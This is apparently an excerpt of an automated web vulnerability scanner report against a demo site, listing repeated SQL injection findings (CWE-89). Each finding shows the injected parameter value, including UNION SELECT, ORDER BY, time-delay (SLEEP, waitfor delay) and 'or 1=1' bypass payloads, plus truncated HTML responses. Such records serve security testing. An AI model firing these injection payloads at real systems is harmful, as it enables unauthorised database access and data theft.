BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #652
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 19
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #653
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #654
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),3--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #655
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io admin') or '1'='1'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #656
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARKdeepfence.io (1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #657
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY SLEEP(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@deepfence.io
CWE-ID CWE-89
Issue Number #658
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io" or sleep(5)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #659
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 8--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #660
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io&&SLEEP(5)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #661Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io admin") or "1"="1"#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #662
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 6#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #663
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #664
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io") or true--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #665
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 4
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #666
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io waitfor delay '00:00:05'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
